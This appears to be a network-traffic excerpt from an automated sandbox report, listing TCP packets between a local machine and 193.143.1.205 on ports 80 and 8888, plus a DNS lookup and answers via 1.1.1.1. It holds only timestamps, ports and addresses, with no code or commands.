Jan 14, 2025 08:47:07.297276020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297302008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297336102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297343969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297369957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297404051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297430992 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297439098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297477007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297478914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297512054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297548056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297558069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297580957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297616005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297636032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297650099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297684908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297691107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297719002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297754049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297761917 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297787905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297821999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297827959 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297856092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297892094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297895908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297925949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297962904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.297969103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.297996998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.298032045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.298042059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.298068047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.298101902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.298109055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.298135042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.298170090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.298173904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.298212051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.298245907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.298252106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.298280001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.298310041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.298316002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.298350096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.298392057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.301939011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.331995010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332175970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332227945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.332232952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332271099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332304955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332314968 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.332341909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332375050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332384109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.332412958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332447052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.332448959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332487106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332520962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332526922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.332557917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332595110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332602024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.332632065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332672119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.332672119 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.342276096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342312098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342345953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342380047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342434883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342464924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342499971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342534065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342567921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342628956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342648029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.342680931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342716932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342727900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.342751026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342784882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342791080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.342818975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342854023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342859030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.342886925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342927933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.342931986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.342962980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.343003988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.343008995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.343039036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.343075037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.343079090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.379981041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.380996943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381030083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381057024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381071091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.381073952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381093025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381102085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.381109953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381127119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381144047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381153107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.381161928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381165981 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.381194115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381216049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.381222010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381238937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381256104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381258965 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.381272078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381290913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381292105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.381305933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381331921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.381361008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381401062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.381407976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381426096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381442070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381464958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.381515980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381531954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381547928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381556988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.381561995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381587029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.381892920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381908894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381927013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.381936073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.381968021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382030010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382045984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382061958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382076979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382086992 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382095098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382126093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382138968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382164955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382181883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382181883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382200956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382217884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382219076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382236004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382251978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382255077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382268906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382285118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382289886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382302999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382319927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382327080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382338047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382354021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382355928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382370949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382388115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382395983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382406950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382424116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382428885 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382441998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382458925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382559061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382577896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382597923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382600069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382627964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382643938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382653952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382658005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382669926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382680893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382688046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382723093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382935047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382962942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382977009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.382981062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.382999897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383017063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383021116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.383033037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383050919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383055925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.383068085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383085012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383089066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.383121967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.383363962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383388996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383407116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383423090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383430004 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.383444071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383460045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383460045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.383477926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383493900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383497000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.383512020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383527994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383534908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.383546114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.383658886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.385543108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.403944969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.418683052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.418716908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.418751955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.418782949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.418816090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.418848038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.418884039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.418915033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.418983936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.428985119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429039955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429055929 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.429095984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429141045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.429147005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429182053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429214954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429223061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.429266930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429296970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429307938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.429352045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429385900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429393053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.429440022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429475069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429481030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.429524899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429558992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429567099 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.429593086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429626942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429631948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.429660082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429693937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429698944 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.429728031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429766893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.429780960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429814100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429847002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429857016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.429882050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429917097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429922104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.429951906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.429991007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.429994106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.430027962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.430063963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.430067062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.430098057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.430130959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.430140972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.467972040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.468015909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.468092918 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.468133926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.468172073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.468185902 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.468208075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.468242884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.468251944 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.468277931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.468312979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.468319893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.468347073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.468381882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.468385935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.468414068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.468447924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.468453884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.468486071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.468540907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.664279938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.722866058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:08.071986914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:08.404427052 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:08.409641027 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:08.409806013 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:08.410020113 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:08.414839029 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:09.198673964 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:09.243659973 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:09.474853039 CET	49711	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:47:21.320014954 CET	60385	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 08:47:21.320014954 CET	192.168.2.6	1.1.1.1	0x61c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 08:47:21.327337027 CET	1.1.1.1	192.168.2.6	0x61c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:47:21.522411108 CET	1.1.1.1	192.168.2.6	0xdcda	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:47:21.522411108 CET	1.1.1.1	192.168.2.6	0xdcda	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:47:21.522411108 CET	1.1.1.1	192.168.2.6	0xdcda	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:47:21.522411108 CET	1.1.1.1	192.168.2.6	0xdcda	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:47:21.522411108 CET	1.1.1.1	192.168.2.6	0xdcda	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:47:21.522411108 CET	1.1.1.1	192.168.2.6	0xdcda	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:47:21.522411108 CET	1.1.1.1	192.168.2.6	0xdcda	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:47:21.522411108 CET	1.1.1.1	192.168.2.6	0xdcda	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:47:45.357822895 CET	1.1.1.1	192.168.2.6	0x611e	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:47:45.357822895 CET	1.1.1.1	192.168.2.6	0x611e	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
